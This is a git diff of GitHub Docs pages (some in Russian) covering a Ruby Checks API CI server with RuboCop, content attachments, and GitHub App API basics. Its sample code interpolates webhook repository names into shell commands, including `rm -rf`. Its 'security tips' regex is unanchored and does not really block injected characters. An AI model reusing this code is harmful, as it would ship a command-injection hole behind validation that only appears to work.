"Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.", + "cop_name": "Style/StringLiterals", + "corrected": false, + "location": { + "start_line": 17, + "start_column": 17, + "last_line": 17, + "last_column": 22, + "length": 6, + "line": 17, + "column": 17 + } + }, + { + "severity": "convention", + "message": "Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.", + "cop_name": "Style/StringLiterals", + "corrected": false, + "location": { + "start_line": 17, + "start_column": 25, + "last_line": 17, + "last_column": 29, + "length": 5, + "line": 17, + "column": 25 + } + } + ] + } + ], + "summary": { + "offense_count": 2, + "target_file_count": 1, + "inspected_file_count": 1 + } +} +``` + +## Step 2.4. Collecting RuboCop errors + +The `@output` variable contains the parsed JSON results of the RuboCop report. As shown above, the results contain a `summary` section that your code can use to quickly determine if there are any errors. The following code will set the check run conclusion to `success` when there are no reported errors. RuboCop reports errors for each file in the `files` array, so if there are errors, you'll need to extract some data from the file object. + +The Checks API allows you to create annotations for specific lines of code. When you create or update a check run, you can add annotations. In this quickstart you are [updating the check run](/rest/reference/checks#update-a-check-run) with annotations. + +The Checks API limits the number of annotations to a maximum of 50 per API request. To create more than 50 annotations, you have to make multiple requests to the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint. For example, to create 105 annotations you'd need to call the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint three times. The first two requests would each have 50 annotations, and the third request would include the five remaining annotations. Each time you update the check run, annotations are appended to the list of annotations that already exist for the check run. + +A check run expects annotations as an array of objects. Each annotation object must include the `path`, `start_line`, `end_line`, `annotation_level`, and `message`. RuboCop provides the `start_column` and `end_column` too, so you can include those optional parameters in the annotation. Annotations only support `start_column` and `end_column` on the same line. See the [`annotations` object](/rest/reference/checks#annotations-object-1) reference documentation for details. + +You'll extract the required information from RuboCop needed to create each annotation. Append the following code to the code you added in the [previous section](#step-23-running-rubocop): + +``` ruby +annotations = [] +# You can create a maximum of 50 annotations per request to the Checks +# API. To add more than 50 annotations, use the "Update a check run" API +# endpoint. This example code limits the number of annotations to 50. +# See /rest/reference/checks#update-a-check-run +# for details. +max_annotations = 50 + +# RuboCop reports the number of errors found in "offense_count" +if @output['summary']['offense_count'] == 0 + conclusion = 'success' +else + conclusion = 'neutral' + @output['files'].each do |file| + + # Only parse offenses for files in this app's repository + file_path = file['path'].gsub(/#{repository}\//,'') + annotation_level = 'notice' + + # Parse each offense to get details and location + file['offenses'].each do |offense| + # Limit the number of annotations to 50 + next if max_annotations == 0 + max_annotations -= 1 + + start_line = offense['location']['start_line'] + end_line = offense['location']['last_line'] + start_column = offense['location']['start_column'] + end_column = offense['location']['last_column'] + message = offense['message'] + + # Create a new annotation for each error + annotation = { + path: file_path, + start_line: start_line, + end_line: end_line, + start_column: start_column, + end_column: end_column, + annotation_level: annotation_level, + message: message + } + # Annotations only support start and end columns on the same line + if start_line == end_line + annotation.merge({start_column: start_column, end_column: end_column}) + end + + annotations.push(annotation) + end + end +end +``` + +This code limits the total number of annotations to 50. But you can modify this code to update the check run for each batch of 50 annotations. The code above includes the variable `max_annotations` that sets the limit to 50, which is used in the loop that iterates through the offenses. + +When the `offense_count` is zero, the CI test is a `success`. If there are errors, this code sets the conclusion to `neutral` in order to prevent strictly enforcing errors from code linters. But you can change the conclusion to `failure` if you would like to ensure that the check suite fails when there are linting errors. + +When errors are reported, the code above iterates through the `files` array in the RuboCop report. For each file, it extracts the file path and sets the annotation level to `notice`. You could go even further and set specific warning levels for each type of [RuboCop Cop](https://docs.rubocop.org/rubocop/cops.html), but to keep things simpler in this quickstart, all errors are set to a level of `notice`. + +This code also iterates through each error in the `offenses` array and collects the location of the offense and error message. After extracting the information needed, the code creates an annotation for each error and stores it in the `annotations` array. Because annotations only support start and end columns on the same line, `start_column` and `end_column` are only added to the `annotation` object if the start and end line values are the same. + +This code doesn't yet create an annotation for the check run. You'll add that code in the next section. + +## Step 2.5. Updating the check run with CI test results + +Each check run from GitHub contains an `output` object that includes a `title`, `summary`, `text`, `annotations`, and `images`. The `summary` and `title` are the only required parameters for the `output`, but those alone don't offer much detail, so this quickstart adds `text` and `annotations` too. The code here doesn't add an image, but feel free to add one if you'd like! + +For the `summary`, this example uses the summary information from RuboCop and adds some newlines (`\n`) to format the output. You can customize what you add to the `text` parameter, but this example sets the `text` parameter to the RuboCop version. To set the `summary` and `text`, append this code to the code you added in the [previous section](#step-24-collecting-rubocop-errors): + +``` ruby +# Updated check run summary and text parameters +summary = "Octo RuboCop summary\n-Offense count: #{@output['summary']['offense_count']}\n-File count: #{@output['summary']['target_file_count']}\n-Target file count: #{@output['summary']['inspected_file_count']}" +text = "Octo RuboCop version: #{@output['metadata']['rubocop_version']}" +``` + +Now you've got all the information you need to update your check run. In the [first half of this quickstart](#step-14-updating-a-check-run), you added this code to set the status of the check run to `success`: + +``` ruby +# Mark the check run as complete! +@installation_client.update_check_run( + @payload['repository']['full_name'], + @payload['check_run']['id'], + status: 'completed', + conclusion: 'success', + accept: 'application/vnd.github+json' +) +``` + +You'll need to update that code to use the `conclusion` variable you set based on the RuboCop results (to `success` or `neutral`). You can update the code with the following: + +``` ruby +# Mark the check run as complete! And if there are warnings, share them. +@installation_client.update_check_run( + @payload['repository']['full_name'], + @payload['check_run']['id'], + status: 'completed', + conclusion: conclusion, + output: { + title: 'Octo RuboCop', + summary: summary, + text: text, + annotations: annotations + }, + actions: [{ + label: 'Fix this', + description: 'Automatically fix all linter notices.', + identifier: 'fix_rubocop_notices' + }], + accept: 'application/vnd.github+json' +) +``` + +Now that you're setting a conclusion based on the status of the CI test and you've added the output from the RuboCop results, you've created a CI test! Congratulations. 🙌 + +The code above also adds a feature to your CI server called [requested actions](https://developer.github.com/changes/2018-05-23-request-actions-on-checks/) via the `actions` object. {% ifversion fpt or ghec %}(Note this is not related to [GitHub Actions](/actions).) {% endif %}Requested actions add a button in the **Checks** tab on GitHub that allows someone to request the check run to take additional action. The additional action is completely configurable by your app. For example, because RuboCop has a feature to automatically fix the errors it finds in Ruby code, your CI server can use a requested actions button to allow people to request automatic error fixes. When someone clicks the button, the app receives the `check_run` event with a `requested_action` action. Each requested action has an `identifier` that the app uses to determine which button was clicked. + +The code above doesn't have RuboCop automatically fix errors yet. You'll add that in the next section. But first, take a look at the CI test that you just created by starting up the `template_server.rb` server again and creating a new pull request: + +```shell +$ ruby template_server.rb +``` + +The annotations will show up in the **Checks** tab. + +![Check run annotations in the checks tab](/assets/images/github-apps/github_apps_checks_annotations.png) + +Notice the "Fix this" button that you created by adding a requested action. + +![Check run requested action button](/assets/images/github-apps/github_apps_checks_fix_this_button.png) + +If the annotations are related to a file already included in the PR, the annotations will also show up in the **Files changed** tab. + +![Check run annotations in the files changed tab](/assets/images/github-apps/github_apps_checks_annotation_diff.png) + +## Step 2.6. Automatically fixing RuboCop errors + +If you've made it this far, kudos! 👏 You've already created a CI test. In this section, you'll add one more feature that uses RuboCop to automatically fix the errors it finds. You already added the "Fix this" button in the [previous section](#step-25-updating-the-check-run-with-ci-test-results). Now you'll add the code to handle the `requested_action` check run event triggered when someone clicks the "Fix this" button. + +The RuboCop tool [offers](https://docs.rubocop.org/rubocop/usage/basic_usage.html#auto-correcting-offenses) the `--auto-correct` command-line option to automatically fix errors it finds. When you use the `--auto-correct` feature, the updates are applied to the local files on the server. You'll need to push the changes to GitHub after RuboCop does its magic. + +To push to a repository, your app must have write permissions for "Repository contents." You set that permission back in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) to **Read & write**, so you're all set. + +In order to commit files, Git must know which [username](/github/getting-started-with-github/setting-your-username-in-git/) and [email](/articles/setting-your-commit-email-address-in-git/) to associate with the commit. Add two more environment variables in your `.env` file to store the name (`GITHUB_APP_USER_NAME`) and email (`GITHUB_APP_USER_EMAIL`) settings. Your name can be the name of your app and the email can be any email you'd like for this example. For example: + +```ini +GITHUB_APP_USER_NAME=Octoapp +GITHUB_APP_USER_EMAIL=octoapp@octo-org.com +``` + +Once you've updated your `.env` file with the name and email of the author and committer, you'll be ready to add code to read the environment variables and set the Git configuration. You'll add that code soon. + +When someone clicks the "Fix this" button, your app receives the [check run webhook](/webhooks/event-payloads/#check_run) with the `requested_action` action type. + +In [Step 1.4. Updating a check run](#step-14-updating-a-check-run) you updated the your `event_handler` to handle look for actions in the `check_run` event. You already have a case statement to handle the `created` and `rerequested` action types: + +``` ruby +when 'check_run' + # Check that the event is being sent to this app + if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER + case @payload['action'] + when 'created' + initiate_check_run + when 'rerequested' + create_check_run + end +end +``` + +Add another `when` statement after the `rerequested` case to handle the `rerequested_action` event: + +``` ruby +when 'requested_action' + take_requested_action +``` + +This code calls a new method that will handle all `requested_action` events for your app. Add the following method to the helper methods section of your code: + +``` ruby +# Handles the check run `requested_action` event +# See /webhooks/event-payloads/#check_run +def take_requested_action + full_repo_name = @payload['repository']['full_name'] + repository = @payload['repository']['name'] + head_branch = @payload['check_run']['check_suite']['head_branch'] + + if (@payload['requested_action']['identifier'] == 'fix_rubocop_notices') + clone_repository(full_repo_name, repository, head_branch) + + # Sets your commit username and email address + @git.config('user.name', ENV['GITHUB_APP_USER_NAME']) + @git.config('user.email', ENV['GITHUB_APP_USER_EMAIL']) + + # Automatically correct RuboCop style errors + @report = `rubocop '#{repository}/*' --format json --auto-correct` + + pwd = Dir.getwd() + Dir.chdir(repository) + begin + @git.commit_all('Automatically fix Octo RuboCop notices.') + @git.push("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", head_branch) + rescue + # Nothing to commit! + puts 'Nothing to commit' + end + Dir.chdir(pwd) + `rm -rf '#{repository}'` + end +end +``` + +The code above clones a repository just like the code you added in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository). An `if` statement checks that the requested action's identifier matches the RuboCop button identifier (`fix_rubocop_notices`). When they match, the code clones the repository, sets the Git username and email, and runs RuboCop with the option `--auto-correct`. The `--auto-correct` option applies the changes to the local CI server files automatically. + +The files are changed locally, but you'll still need to push them to GitHub. You'll use the handy `ruby-git` gem again to commit all of the files. Git has a single command that stages all modified or deleted files and commits them: `git commit -a`. To do the same thing using `ruby-git`, the code above uses the `commit_all` method. Then the code pushes the committed files to GitHub using the installation token, using the same authentication method as the Git `clone` command. Finally, it removes the repository directory to ensure the working directory is prepared for the next event. + +That's it! The code you have written now completes your Checks API CI server. 💪 Restart your `template_server.rb` server again and create a new pull request: + +```shell +$ ruby template_server.rb +``` + +{% data reusables.apps.sinatra_restart_instructions %} + +This time, click the "Fix this" button to automatically fix the errors RuboCop found from the **Checks** tab. + +In the **Commits** tab, you'll see a brand new commit by the username you set in your Git configuration. You may need to refresh your browser to see the update. + +![A new commit to automatically fix Octo RuboCop notices](/assets/images/github-apps/github_apps_new_requested_action_commit.png) + +Because a new commit was pushed to the repo, you'll see a new check suite for Octo RuboCop in the **Checks** tab. But this time there are no errors because RuboCop fixed them all. 🎉 + +![No check suite or check run errors](/assets/images/github-apps/github_apps_checks_api_success.png) + +You can find the completed code for the app you just built in the `server.rb` file in the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository. + +## Step 2.7. Security tips + +The template GitHub App code already has a method to verify incoming webhook payloads to ensure they are from a trusted source. If you are not validating webhook payloads, you'll need to ensure that when repository names are included in the webhook payload, the webhook does not contain arbitrary commands that could be used maliciously. The code below validates that the repository name only contains Latin alphabetic characters, hyphens, and underscores. To provide you with a complete example, the complete `server.rb` code available in the [companion repository](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) for this quickstart includes both the method of validating incoming webhook payloads and this check to verify the repository name. + +``` ruby +# This quickstart example uses the repository name in the webhook with +# command-line utilities. For security reasons, you should validate the +# repository name to ensure that a bad actor isn't attempting to execute +# arbitrary commands or inject false repository names. If a repository name +# is provided in the webhook, validate that it consists only of latin +# alphabetic characters, `-`, and `_`. +unless @payload['repository'].nil? + halt 400 if (@payload['repository']['name'] =~ /[0-9A-Za-z\-\_]+/).nil? +end +``` + +## Troubleshooting + +Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}. + +* **Q:** My app isn't pushing code to GitHub. I don't see the fixes that RuboCop automatically makes! + + **A:** Make sure you have **Read & write** permissions for "Repository contents," and that you are cloning the repository with your installation token. See [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) for details. + +* **Q:** I see an error in the `template_server.rb` debug output related to cloning my repository. + + **A:** If you see the following error, you haven't deleted the checkout of the repository in one or both of the `initiate_check_run` or `take_requested_action` methods: + + ```shell + 2018-11-26 16:55:13 - Git::GitExecuteError - git clone '--' 'https://x-access-token:ghs_9b2080277016f797074c4dEbD350745f4257@github.com/codertocat/octocat-breeds.git' 'Octocat-breeds' 2>&1:fatal: destination path 'Octocat-breeds' already exists and is not an empty directory.: + ``` + + Compare your code to the `server.rb` file to ensure you have the same code in your `initiate_check_run` and `take_requested_action` methods. + +* **Q:** New check runs are not showing up in the "Checks" tab on GitHub. + + **A:** Restart Smee and re-run your `template_server.rb` server. + +* **Q:** I do not see the "Re-run all" button in the "Checks" tab on GitHub. + + **A:** Restart Smee and re-run your `template_server.rb` server. + +## Conclusion + +After walking through this guide, you've learned the basics of using the Checks API to create a CI server! To review, you: + +* Configured your server to receive Checks API events and create check runs. +* Used RuboCop to check code in repositories and create annotations for the errors. +* Implemented a requested action that automatically fixes linter errors. + +## Next steps + +Here are some ideas for what you can do next: + +* Currently, the "Fix this" button is always displayed. Update the code you wrote to display the "Fix this" button only when RuboCop finds errors. +* If you'd prefer that RuboCop doesn't commit files directly to the head branch, you can update the code to [create a pull request](/rest/reference/pulls#create-a-pull-request) with a new branch based on the head branch. diff --git a/translations/ru-RU/content/developers/apps/guides/index.md b/translations/ru-RU/content/developers/apps/guides/index.md new file mode 100644 index 000000000000..28fdeb59882e --- /dev/null +++ b/translations/ru-RU/content/developers/apps/guides/index.md @@ -0,0 +1,24 @@ +--- +title: Guides +intro: 'Узнайте об использовании API-интерфейсов {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} с вашим приложением, непрерывной интеграции и выполнении сборки с использованием приложений.' +redirect_from: + - /apps/quickstart-guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +children: + - /using-the-github-api-in-your-app + - /using-content-attachments + - /creating-ci-tests-with-the-checks-api +ms.openlocfilehash: 2506f1adc637b8c9ce8ad9b54d569dbe37005136 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089925' +--- + diff --git a/translations/ru-RU/content/developers/apps/guides/using-content-attachments.md b/translations/ru-RU/content/developers/apps/guides/using-content-attachments.md new file mode 100644 index 000000000000..52b71a9b0f4b --- /dev/null +++ b/translations/ru-RU/content/developers/apps/guides/using-content-attachments.md @@ -0,0 +1,183 @@ +--- +title: Использование вложений содержимого +intro: 'Вложения содержимого позволяют приложению GitHub предоставлять дополнительные сведения в GitHub для URL-адресов, ссылающихся на зарегистрированные домены. GitHub отображает сведения, предоставленные приложением по URL-адресу, в тексте проблемы или запроса на вытягивание либо в комментарии к ним.' +redirect_from: + - /apps/using-content-attachments + - /developers/apps/using-content-attachments +versions: + ghes: <3.4 +topics: + - GitHub Apps +ms.openlocfilehash: f557a804d48144df24398f75e90a589d563d941b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147081026' +--- +{% data reusables.pre-release-program.content-attachments-public-beta %} + +## Сведения о вложениях содержимого + +Приложение GitHub может зарегистрировать домены, которые будут запускать события `content_reference`. Когда кто-то включает в текст или комментарий к проблеме или запросу на вытягивание URL-адрес, который ссылается на зарегистрированный домен, приложение получает [веб-перехватчик `content_reference`](/webhooks/event-payloads/#content_reference). Вложения содержимого можно использовать для визуального предоставления дополнительных контекстов или данных для URL-адреса, добавленного в проблему или запрос на вытягивание. URL-адрес должен быть полным URL-адресом, который начинается с `http://` или `https://`. URL-адреса, которые являются частью ссылки Markdown, игнорируются и не запускают событие `content_reference`. + +Прежде чем использовать API {% data variables.product.prodname_unfurls %}, необходимо настроить ссылки на содержимое для приложения GitHub: +* Предоставьте приложению `Read & write` разрешения "Ссылки на содержимое". +* При настройке разрешения "Ссылки на содержимое" Зарегистрируйте до 5 допустимых общедоступных доменов. Не используйте IP-адреса при настройке доменов ссылок на содержимое. Вы можете зарегистрировать доменное имя (example.com) или поддомен (subdomain.example.com). +* Подпишите приложение на событие "Ссылка на содержимое". + +После установки приложения в репозитории в комментариях к проблеме или запросу на вытягивание в репозитории, содержащему URL-адреса зарегистрированных доменов будет сгенерировано событие ссылки на содержимое. Приложение должно создать вложение содержимого в течение шести часов после публикации URL-адреса ссылки на содержимое. + +Вложения содержимого не будут обновлять URL-адреса задним числом. Это работает только для URL-адресов, если они добавлены в проблемы или запросы на вытягивание после настройки приложения с помощью описанных выше требований, а затем кто-либо установил приложение в своем репозитории. + +Порядок настройки разрешений приложения GitHub и подписок на события см. в разделе "[Создание приложения GitHub](/apps/building-github-apps/creating-a-github-app/)" или "[Изменение разрешений приложения GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/)". + +## Реализация потока вложения содержимого + +Поток вложения содержимого показывает связь между URL-адресом в проблеме или запросе на вытягивание, событием веб-перехватчика `content_reference` и конечной точкой REST API, который необходимо вызвать для обновления проблемы или запроса на вытягивание с учетом дополнительных сведений: + +**Шаг 1.** Настройте приложение с помощью рекомендаций, описанных в разделе [Сведения о вложениях содержимого](#about-content-attachments). Вы также можете использовать [пример приложения Probot](#example-using-probot-and-github-app-manifests) для начала работы с вложениями содержимого. + +**Шаг 2.** Добавьте URL-адрес домена, зарегистрированного в запросе на вытягивание. Необходимо использовать полный URL-адрес, который начинается с `http://` или `https://`. + +![URL-адрес, добавленный в проблему](/assets/images/github-apps/github_apps_content_reference.png) + +**Шаг 3.** Ваше приложение получит [веб-перехватчик `content_reference`](/webhooks/event-payloads/#content_reference) с действием `created`. + +``` json +{ + "action": "created", + "content_reference": { + "id": 17, + "node_id": "MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA5", + "reference": "errors.ai" + }, + "repository": { + "full_name": "Codertocat/Hello-World", + }, + "sender": {...}, + "installation": { + "id": 371641, + "node_id": "MDIzOkludGVncmF0aW9uSW5zdGFsbGF0aW9uMzcxNjQx" + } +} +``` + +**Шаг 4.** Приложение использует поля `content_reference` `id` и `repository` `full_name` для [создания вложения содержимого](/rest/reference/apps#create-a-content-attachment) с помощью REST API. Вам также потребуется выполнить проверку подлинности `installation` `id` в качестве [установки приложения GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). + +{% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +Параметр `body` может содержать Markdown: + +```shell +curl -X POST \ + {% data variables.product.api_url_code %}/repos/Codertocat/Hello-World/content_references/17/attachments \ + -H 'Accept: application/vnd.github.corsair-preview+json' \ + -H 'Authorization: Bearer $INSTALLATION_TOKEN' \ + -d '{ + "title": "[A-1234] Error found in core/models.py file", + "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()" +}' +``` + +Дополнительные сведения о создании маркера установки см. в разделе "[Проверка подлинности в качестве приложения GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)". + +**Шаг 5.** Вы увидите новое вложение содержимого в ссылке в комментарии к запросу на вытягивание или проблеме: + +![Содержимое, присоединенное к ссылке в проблеме](/assets/images/github-apps/content_reference_attachment.png) + +## Использование вложений содержимого в GraphQL +Мы предоставляем событие `node_id` [веб-перехватчика `content_reference`](/webhooks/event-payloads/#content_reference), чтобы можно было ссылаться на изменения `createContentAttachment` в API GraphQL. + +{% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +Пример: + +``` graphql +mutation { + createContentAttachment(input: { + contentReferenceId: "MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA1", + title: "[A-1234] Error found in core/models.py file", + body:"You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()" + }) { + contentAttachment { + ... on ContentAttachment { + id + title + body + } + } + } +} +``` +Пример cURL: + +```shell +curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \ + -H 'Authorization: Bearer $INSTALLATION_TOKEN' \ + -H 'Accept: application/vnd.github.corsair-preview+json' \ + -H 'Content-Type: application/json; charset=utf-8' \ + -d $'{ + "query": "mutation {\\n createContentAttachment(input:{contentReferenceId: \\"MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA1\\", title:\\"[A-1234] Error found in core/models.py file\\", body:\\"You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n\self.save()\\"}) {\\n contentAttachment {\\n id,\\n title,\\n body\\n }\\n }\\n}" +}' +``` + +Дополнительные сведения о `node_id` см. в разделе "[Использование идентификаторов глобальных узлов](/graphql/guides/using-global-node-ids)". + +## Пример использования Probot и манифестов приложений GitHub + +Чтобы быстро настроить приложение GitHub, которое может использовать API {% data variables.product.prodname_unfurls %}, можно использовать [Probot](https://probot.github.io/). Сведения о том, как Probot использует манифест GitHub, см. в разделе "[Создание приложений GitHub из манифеста](/apps/building-github-apps/creating-github-apps-from-a-manifest/)". + +Чтобы создать приложение Probot, выполните следующие действия. + +1. [Создайте новое приложение GitHub](https://probot.github.io/docs/development/#generating-a-new-app). +2. Откройте созданный проект и настройте параметры в файле `app.yml`. Подпишитесь на событие `content_reference` и включите разрешения на запись `content_references`: + + ``` yml + default_events: + - content_reference + # The set of permissions needed by the GitHub App. The format of the object uses + # the permission name for the key (for example, issues) and the access type for + # the value (for example, write). + # Valid values are `read`, `write`, and `none` + default_permissions: + content_references: write + + content_references: + - type: domain + value: errors.ai + - type: domain + value: example.org + ``` + +3. Добавьте этот код в файл `index.js` для обработки событий `content_reference` и вызова REST API: + + ``` javascript + module.exports = app => { + // Your code here + app.log('Yay, the app was loaded!') + app.on('content_reference.created', async context => { + console.log('Content reference created!', context.payload) + // Call the "Create a content reference" REST endpoint + await context.github.request({ + method: 'POST', + headers: { accept: 'application/vnd.github.corsair-preview+json' }, + url: `/repos/${context.payload.repository.full_name}/content_references/${context.payload.content_reference.id}/attachments`, + // Parameters + title: '[A-1234] Error found in core/models.py file', + body: 'You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\nself.save()' + }) + }) + } + ``` + +4. [Запустите приложение GitHub локально](https://probot.github.io/docs/development/#running-the-app-locally). Перейдите к разделу `http://localhost:3000` и нажмите кнопку **Зарегистрировать приложение GitHub**: + + ![Регистрация приложения Probot GitHub](/assets/images/github-apps/github_apps_probot-registration.png) + +5. Установите приложение в тестовом репозитории. +6. Создайте проблему в тестовом репозитории. +7. Добавьте комментарий к открытой проблеме, которая содержит URL-адрес, настроенный в файле `app.yml`. +8. Ознакомьтесь с комментарием, и вы увидите обновление, которое выглядит следующим образом: + + ![Содержимое, присоединенное к ссылке в проблеме](/assets/images/github-apps/content_reference_attachment.png) diff --git a/translations/ru-RU/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/ru-RU/content/developers/apps/guides/using-the-github-api-in-your-app.md new file mode 100644 index 000000000000..c02382a1b5db --- /dev/null +++ b/translations/ru-RU/content/developers/apps/guides/using-the-github-api-in-your-app.md @@ -0,0 +1,238 @@ +--- +title: Using the GitHub API in your app +intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations. +redirect_from: + - /apps/building-your-first-github-app + - /apps/quickstart-guides/using-the-github-api-in-your-app + - /developers/apps/using-the-github-api-in-your-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Build an app with the REST API +--- +## Introduction + +This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed. + +This project will walk you through the following: + +* Programming your app to listen for events +* Using the Octokit.rb library to do REST API operations + +{% data reusables.apps.app-ruby-guides %} + +Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %} + +## Prerequisites + +You may find it helpful to have a basic understanding of the following: + +* [GitHub Apps](/apps/about-apps) +* [Webhooks](/webhooks) +* [The Ruby programming language](https://www.ruby-lang.org/en/) +* [REST APIs](/rest) +* [Sinatra](http://sinatrarb.com/) + +But you can follow along at any experience level. We'll link out to information you need along the way! + +Before you begin, you'll need to do the following: + +1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository. + ```shell + $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git + ``` + + Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code. + +1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart. + + This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository. + + See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App. + +## Building the app + +Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed. + +The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client. + +{% note %} + +**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works. + +The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though! + +{% endnote %} + +These are the steps you'll complete to create your first GitHub App: + +1. [Update app permissions](#step-1-update-app-permissions) +2. [Add event handling](#step-2-add-event-handling) +3. [Create a new label](#step-3-create-a-new-label) +4. [Add label handling](#step-4-add-label-handling) + +## Step 1. Update app permissions + +When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels. + +To update your app's permissions: + +1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar. +1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need. +1. In the "Subscribe to events" section, select **Issues** to subscribe to the event. +{% data reusables.apps.accept_new_permissions_steps %} + +Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work. + +## Step 2. Add event handling + +The first thing your app needs to do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code. + +GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route. + +An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this: + +``` ruby + post '/event_handler' do + + # # # # # # # # # # # # + # ADD YOUR CODE HERE # + # # # # # # # # # # # # + + 200 # success status + end +``` + +Use this route to handle the `issues` event by adding the following code: + +``` ruby +case request.env['HTTP_X_GITHUB_EVENT'] +when 'issues' + if @payload['action'] === 'opened' + handle_issue_opened_event(@payload) + end +end +``` + +Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`. + +To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter. + +``` ruby +def handle_issue_opened_event(payload) + logger.debug 'An issue was opened!' +end +``` + +This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues). + +Great! It's time to test the changes. + +{% data reusables.apps.sinatra_restart_instructions %} + +In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing. + +When you look back at your Terminal, you should see a 